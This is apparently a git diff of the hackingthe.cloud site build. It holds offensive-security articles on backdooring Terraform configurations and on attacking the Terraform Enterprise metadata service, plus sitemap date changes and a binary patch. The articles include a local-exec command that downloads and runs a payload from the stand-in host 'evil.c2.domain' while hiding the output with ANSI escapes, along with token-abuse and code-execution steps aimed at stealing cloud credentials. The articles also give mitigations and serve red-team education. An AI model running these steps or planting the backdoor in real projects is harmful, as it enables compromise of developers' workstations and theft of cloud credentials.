<p>In this example, we are using a local-exec provisioner to run shell commands. If we were to backdoor a module or git repository storing Terraform configurations, and a developer were to download them and run them on their workstation, this would run the shell commands on their workstation.</p> <p>Tip</p> <p>As an alternative to local-exec, you can also use external_provider.</p> <p>The problem is that this output would get displayed to the user, for example:</p> <p></p> <p>To solve this, we can use ANSI escape codes to modify this output. It is worth noting that the specific sequences we will need to use will depend on the terminal type the victim is using. The following example is using gnome-terminal on Ubuntu.</p> <pre><code>\\033[2K # Clears the current line\n\\033[A  # Moves the cursor to the previous line\n</code></pre> <p>So, we can modify our payload to the following to hide the malicious activity.</p> main.tf<pre><code>resource \"null_resource\" \"blah\" {\n  provisioner \"local-exec\" {\n    command = \"wget -q http://evil.c2.domain/payload &amp;&amp; chmod +x payload &amp;&amp; ./payload; echo -e '\\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A'\"\n  }\n}\n</code></pre> <p>And this is the output:</p> <p></p>"},{"location":"terraform/terraform_enterprise_metadata_service/","title":"Terraform Enterprise: Attack the Metadata Service","text":"<p>Terraform Enterprise is a self-hosted version of Terraform Cloud, allowing organizations to maintain their own private instance of Terraform. There are many benefits for an enterprise to run this, however, there is also a default configuration that Red Teamers and Penetration Testers can potentially take advantage of.</p> <p>If Terraform Enterprise is deployed to a VM from a cloud provider we may be able to access the instance metadata service and leverage those credentials for further attacks.</p> <p>\"By default, Terraform Enterprise does not prevent Terraform operations from accessing the instance metadata service, which may contain IAM credentials or other sensitive data\" (source)</p> <p>Note</p> <p>While the focus of this article is on targeting the metadata service, it is worth noting that gaining code execution inside a Terraform run may provide other avenues for attack. For example, environment variables could be leaked which may contain sensitive credentials.</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#remote-code-execution","title":"Remote (Code) Execution","text":"<p>For many engineers, their first experience with Terraform was locally on their workstations. When they invoked a <code>terraform apply</code> or <code>terraform plan</code> all of that activity took place on the local machine (reaching out to cloud APIs, tracking state, etc.)</p> <p>An exciting feature of Terraform Enterprise (and Cloud) is the idea of Remote Execution, wherein all those operations take place server-side. In Terraform Cloud the execution takes place in \"disposable virtual machines\". In Terraform Enterprise however, it takes place in \"disposable Docker containers\". </p> <p>This introduces an interesting opportunity; If you compromise credentials to initiate a <code>plan</code> or <code>apply</code> operation (or otherwise have access to them. I.E insider threat) we can execute code in a Docker container on the Terraform Enterprise server.</p> <p>Note</p> <p>It is possible to disable Remote Execution via a configuration however this is discouraged. \"Many of Terraform Cloud's features rely on remote execution, and are not available when using local operations. This includes features like Sentinel policy enforcement, cost estimation, and notifications.\"</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#docker-containers-and-metadata-services","title":"Docker Containers and Metadata Services","text":"<p>Aside from container escapes, running user-supplied code in a container is an interesting opportunity in a cloud context. The specifics will depend upon the cloud provider. For example, in AWS, an attacker could target the Instance Metadata Service. This would provide the attacker IAM credentials for the IAM role associated with the EC2 instance.</p> <p>Other opportunities include things such as the instance user data, which may help enumerate what software is on the host, potentially leak secrets, or reveal what the associated IAM role has access to. It is also possible to use this to pivot to other machines in the VPC/subnet which would otherwise be inaccessible, or to attempt to hit services exposed on localhost on the TFE host (hitting 172.17.0.1).</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#attack-prevention","title":"Attack Prevention","text":"<p>It is worth noting that there are two potential methods to mitigate this attack. The first is the configuration of restrict_worker_metadata_access in the Terraform Enterprise settings. This is not the default, meaning that out of the box Terraform operations have access to the metadata service and its credentials.</p> <p>The second option would depend upon the cloud provider, but options to harden or secure the Metadata Service can also be used. For example, IMDSv2 in an AWS situation would prevent the Docker container from reaching the Metadata Service.</p> <p>Note</p> <p>Nothing should prevent these two methods from working at the same time. It is a good idea to require IMDSv2 of all EC2 instances in your environment.</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#walkthrough","title":"Walkthrough","text":"<p>Warning</p> <p>This walkthrough and screenshots are not tested against Terraform Enterprise (this is a free/open source project, we don't have access to a Terraform Enterprise instance for demonstration purposes). As such it is being demoed on Terraform Cloud which, while similar, is not a 1-1 copy. If you are attempting to exploit this against your organization's TFE instance, minor tweaks may be needed. (We are open to Pull Requests!)</p> <p>Note</p> <p>If you already have a configured and initialized Terraform backend, you can skip to the Executing Code section. The following walkthrough will demonstrate the entire process from finding the token to initializing the backend.</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#acquire-a-terraform-api-token","title":"Acquire a Terraform API Token","text":"<p>To begin, you'll first need to 'acquire' a Terraform API Token. These tokens can be identified by the <code>.atlasv1.</code> substring in them.</p> <p>As for where you would get one, there are a number of possible locations. For example, developer's may have them locally on their workstations in <code>~/.terraform.d/</code>, you may find them in CI/CD pipelines, inappropriately stored in documentation, pull them from a secrets vault, create one with a developer's stolen credentials, etc.</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#identify-the-organization-and-workspace-names","title":"Identify the Organization and Workspace Names","text":"<p>With access to a valid API token, we now need to find an Organization and Workspace we can use to be nefarious. The good news is that this information is queryable using the token. We can use a tool such as jq to parse and display the JSON.</p> <pre><code>curl -H \"Authorization: Bearer $TFE_TOKEN\" \\\nhttps://&lt;TFE Instance&gt;/api/v2/organizations | jq\n</code></pre> <p></p> <p>Next, we need to identify a workspace we can use. Again, this can be quereyed using the organization <code>id</code> we gathered in the previous step.</p> <pre><code>curl -H \"Authorization: Bearer $TFE_TOKEN\" \\\nhttps://&lt;TFE Instance&gt;/api/v2/organizations/&lt;Organization ID&gt;/workspaces | jq\n</code></pre> <p></p>"},{"location":"terraform/terraform_enterprise_metadata_service/#configure-the-remote-backend","title":"Configure the Remote Backend","text":"<p>Now that we have the organization and workspace id's from the previous step, we can configure the remote backend. To do this, you can use this example as a template with one exception. We will add a <code>hostname</code> value which is the hostname of the Terraform Enterprise instance. You can store this in a file named <code>backend_config.tf</code>. backend_config.tf<pre><code>terraform {\n  backend \"remote\" {\n    hostname = \"{{TFE_HOSTNAME}}\"\n    organization = \"{{ORGANIZATION_NAME}}\"\n\n    workspaces {\n      name = \"{{WORKSPACE_NAME}}\"\n    }\n  }\n}\n</code></pre></p>"},{"location":"terraform/terraform_enterprise_metadata_service/#initialize-the-backend","title":"Initialize the Backend","text":"<p>With the backend configuration file created we can initialize the backend with the following command.</p> <pre><code>terraform init --backend-config=\"token=$TFE_TOKEN\"\n</code></pre> <p>If everything has worked as it should, you should get a <code>Terraform has been successfully initialized</code> notification. To test this, you can perform a <code>terraform state list</code> to list the various state objects.</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#executing-code","title":"Executing Code","text":"<p>Now that our backend has been properly configured and we can access the remote state, we can attempt to execute code. There are several ways this can be done (such as using a local-exec provisioner) however, for our purposes we will be using the External Provider.</p> <p>\"<code>external</code> is a special provider that exists to provide an interface between Terraform and external programs\".</p> <p>What this means is that we can execute code during the Terraform <code>plan</code> or <code>apply</code> operations by specifying a program or script to run.</p> <p>To do this, we will create an <code>external provider</code> in our existing <code>backend_config.tf</code> file (if you already have an existing Terraform project you can add this block to those existing files).</p> backend_config.tf<pre><code>...\n\ndata \"external\" \"external_provider\" {\n    program = [\"python3\", \"wrapper.py\"]\n}\n\noutput \"external_provider_example\" {\n    value = data.external.external_provider\n}\n</code></pre> <p>You may be wondering what the <code>wrapper.py</code> file is. In order to use the <code>external</code> provider, we must \"implement a specific protocol\" (source), which is JSON. To do this, we will wrap the result of the code execution in JSON so it can be returned.</p> <p>Note</p> <p>The wrapper script is not strictly required if you aren't interested in getting the output. If your goal is simply to execute a C2 payload, you can include the binary in the project directory and then execute it.</p> <p>Wrapping the output in JSON allows us to get the response output.</p> <p>Our wrapper script looks like the following (feel free to change to your needs).</p> wrapper.py<pre><code>import json\nimport os\n\nstream = os.popen('id')\noutput = stream.read()\nresult = { \"result\" : output }\n\nprint(json.dumps(result))\n</code></pre>"},{"location":"terraform/terraform_enterprise_metadata_service/#terraform-plan","title":"Terraform Plan","text":"<p>Now that the wrapper script is created (and modified), we can execute code via <code>terraform plan</code>. This is a non-destructive action, which will evaluate our local configuration vs's the remote state. In addition, it will execute our remote provider and return the result to us.</p> <p></p> <p>Warning</p> <p>Upon executing <code>terraform plan</code> you may encounter errors for various reasons depending upon the remote state. Those errors will need to be handled on a case by case basis. Typically this involves modifying your <code>.tf</code> files to suit the remote state. This can typically be figured out based on the results of <code>terraform state pull</code>.</p> <p>From here, we can modify our wrapper script to do a variety of things such as (the purpose of this article) reaching out to the metadata service and pulling those credentials.</p> <p>Note</p> <p>The results of this run are logged elsewhere. Please do not leak secrets or other sensitive information to parties who do not have a need for the information. A more efficient method would be to use a C2 platform such as Mythic (or even just a TLS encrypted reverse shell) to exfiltrate the credentials.</p>"}]}
\ No newline at end of file
diff --git a/sitemap.xml b/sitemap.xml
index 5f4c8cb55..9ef42bbe5 100644
--- a/sitemap.xml
+++ b/sitemap.xml
@@ -2,302 +2,306 @@
 <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
     <url>
          <loc>https://hackingthe.cloud/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/capture_the_flag/cicdont/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/deprecated/whoami/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/enumeration/whoami/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/abusing-container-registry/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
+    </url>
+    <url>
+         <loc>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/</loc>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/general-knowledge/connection-tracking/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/post_exploitation/iam_persistence/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/azure/abusing-managed-identities/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/azure/anonymous-blob-access/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/azure/enum_email_addresses/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/azure/run-command-abuse/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/azure/soft-deleted-blobs/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/blog/2022_wrap-up/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/blog/2023_wrap-up/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/blog/v2_new_look/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/gcp/general-knowledge/default-account-names/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
     <url>
          <loc>https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/</loc>
-         <lastmod>2024-11-27</lastmod>
+         <lastmod>2024-12-05</lastmod>
     </url>
 </urlset>
\ No newline at end of file
diff --git a/sitemap.xml.gz b/sitemap.xml.gz
index 3365dcc85966a0a1f24f9eafc1fa4c367835e5b6..a60062cade8c783bb2745099ab0997e077045b1e 100644
GIT binary patch
literal 1391
zcmV-#1(5n5iwFn+?NDa||8r?{Wo=<_E_iKh0M%N-ZsRr(z3*29xiiitU7#(JEYL%5
z1&X3Q6Er!ZSyLp-8QSrFeTS6n-5@E@0)?pL5?P|e$C=^Gdm}x3ejfeR0W!K69<M*%
z++JTn(9yVHAFu!T{b%w0_2;J#4<&m9y5hkBAFp>r>Br6Hcs$;qBN$b}o0#ne^^Skw
zW<I&Oz4_t#>BANO)dx&R?eD=y{ZyZV{Ft56d!CMVaHD-JX7jMAm%kmYkj7}9?r!hC
z6Cdxy?I#{GpPL@Pxjg?r&7_XFQHSX2a)ki`O>BpaEh-yR=p+&Z0;DxTqL_vDj)C<@
z#m{xaNqhyTV;G$64-5&E7kfCNC}BDcO9z%#iAn~^XXW6P-DsyxT-<F2QU<N+`kPf~
zCllmRLMUTDD92q?qg#0Xx@5?zMTpWmmO#=OIpoOZ(040BgZFY<^d6`qrfn|7ksGrH
z>D1Vw#$hcK*b~($DMYEG4UVEL2w8q}oi7B+(f5RC9O}q5RU+sNgwh3>%GNtAl^c5^
ztH;fk&1`HY=nSSFgG|{4?UM3R<uGl465L;f<Ib!CV2+U_QyS+dbR1;Z*LW64%t=Ey
zBPyy^?m9y9)kt%k!xkk5=7qaRJu&quGtbFKM{{Q17OdQ)<|X9<WRbx-q<rd$>YP5E
zVIJw|BvXuD!m|cW@Q1b|56*)HTm#CMtq}Ym(b-T^PfW}c#0aE}A|(*>&=X86%V$?f
zK&||Ap(7@*#;sw~GzQK91=qk9Wy*IACLYZNhTYdJR*l8XJjY^pQ+!p2_QV%++Nl6W
zw(FeGnGQyV6;P7eLn9Oir<fY{M9Bst_;fFu@^gCPTx$zKycZLD=3JZnj8ee!;5_9O
zpyOPYt2?=XbH0^6TI>yoGH{^`mZ?qZTA6;S<heExSUMZ|8(=IfK*Uc9`RA{Zz3KWE
zrGE!-zD25$18_LWL-Abu)z<l1ZCMbY8bO|AA8H6HyZCO_RU>75af5Z_)mBDlSmhkC
zsf;Qx-ixo=l4kar=Yc2{5l<qMSEp@^`}MEorBhgcUKYa?kH?(e+Y-)kBq<l9c@gsH
zywNI~uhMbhby=v}*^7OMM-RqAJ<FxrNpgwfCKv|n^d47%D`u;L`_jCC(!ijKr~c5k
ze9xZia)MA*2MgK;P#hiY1nSfuAqQfZTFQc%L%XFrrpl>V>WfLc4GwaDJGt6)lV@Gj
z_>I%B4p^o%2X<rmuVJ;00CO%*YoR5$eiA7~PO2|OH#0$EYI1IJu`^rKcj|nt4XugC
z;G^Pf8>64{?uF+=^R}$nM9$f{J6;QPu_3-_CZ6rw9pc>UN5>LAEWU}~z!M0VCM2fG
zSgkdVCCr+xfBa3|j#b&KvL&H+$_4RfvDPnNv);f|Sn=$@`{qC1rOZh}hj(tTk+Jwy
z+ONuiSh#u~;M^YITF;ctLn~q}nIWO%L^5z1p4u4{_s~CaTna4f+3a|~b~5T077mxb
zI|rMxU}m;N3pWoYC?ST^7z+v}yjwB3b#WB!-QV;MOBute5IdNH^MIH$fT$i?J}xj0
zB-(c3ps4;>(g-}C-SAWI<T0xx7JZX(p8LMn+=n|E;3)mFeH5$H>o0Nmq_9y@ZydC%
zUnga$X;>J_tFHq3WrnxlOt0OQ_np2v`DaYCw7s-$JK}qxD|C`8cpF%8z1F*P!|C$D
zLQv!45%wBYO#;(vqW)Meof8+NjnT3kY{U6Cl4AbUA0mP-+0jYV+Fdm(OKg^AO9EpZ
xnAH&T`1ObtKe`s{i9`ON7FN)2A*!DYXWoYh|6@a}{X?LqzX9>?Q^2w<001;uvc>=a

literal 1371
zcmV-h1*G~PiwFn+VMb>H|8r?{Wo=<_E_iKh0M%McZ{#)%zVELHa#tpg7JVR_1$yYM
zKvA@3K_k&NJF?`8)J$f7eJR;9*&r#<0);i3OFVwapGb=QKFW`uo=1PRheQ~|$LqVB
z+v_U`HaZOb$Ll|S|5<&1{psn$V@{rcujJ-HAFl`I>Br6Ha5&r$GK^-To0$3y*+G8L
zW;waJz4_t#>BE)$l>z3X`uFIgeJZ1n3^N$Jlh^S8H`d4OHjkTf`OCWv@fh9H{q6lX
z>h4b6e<!yr=jP!z=kfp3o6LbWW*@OkS2<v?EOyxR*(B#OAJqhbf%uXjaZJj36kzR9
z$+*}Z)eATqLx+8PV8md&+QE@j4)bYPJFu*oI496@R(Ia?8;jP()!pV`N?=Wyf3*q^
zdV(}+2zhJ=<uF7u;>zzYQ-)+}gcxgM4y@7XE=4hiy}uwd^q{xd?tmL&+NR7BxiMML
zXvP{fNTpCvOH{|n5NR9xfE;xuNcxNGav^Yvz9mG5WTVtnO<)r+X$*SGTaQ*799tqQ
z$JLkBY+@#845l1|o)QL&lkwW5FfV`{@UJX!=Pm+ZijlQY8uT+d2{LMHydGFBNkgGi
z1ywC~4I%krq$SQ_OPYf4!Xa`?Ol``{^W-D)lG(SJ3O6Zv$zXt_67)!%jxAB0(kD9M
zk;q3q#ppFWTaX05uPbto9(tflKv}aDf$ub7AM(@^lkfyJ0vl)8D5BK01XIiM$yFN2
z8b4oXh{>CA>%=sbfeSz-HLymR@lAtC?v?^0?yD9n#u8?pV(y1IzKTOz;)`h-OaQ0r
zbxG(#2cy6Wq}lAC5{f+<p@uC{ioqDZeb80;p`AI`rG+3psF^)WuATgXQo(bFp3?=O
zlU$aHJEee2zSTbV)EW>ckU|-Hp*B;~%JfSi&!veV(%I?XfMON_qJA<YKYxwlO>A3~
z{vE*O5p6~Z!0xE`*-Py=TlA&ciXb2}f<DPUvJgzd_|?p-M9TQ;fgahLt&ZqK<s7K0
zj3O|;0$;tJh-fyQmOF(O$vwxfZ3-vbYfhPXnS?%|ch)5LBDYqaR}W<gc(n`h;KB7!
z&PusM%{Y-Z!3kirJGuy5G4&?k=jsL04my)Pw}-ZsXLeG{CJ2S8iwLX$)d6`>WT*BB
zB@n~hhE-B+>m$uE6&@<`Sj~E;LrCrIgr!lXPg<gK0<>@$uw1SVY{rb=!m27-c#5R8
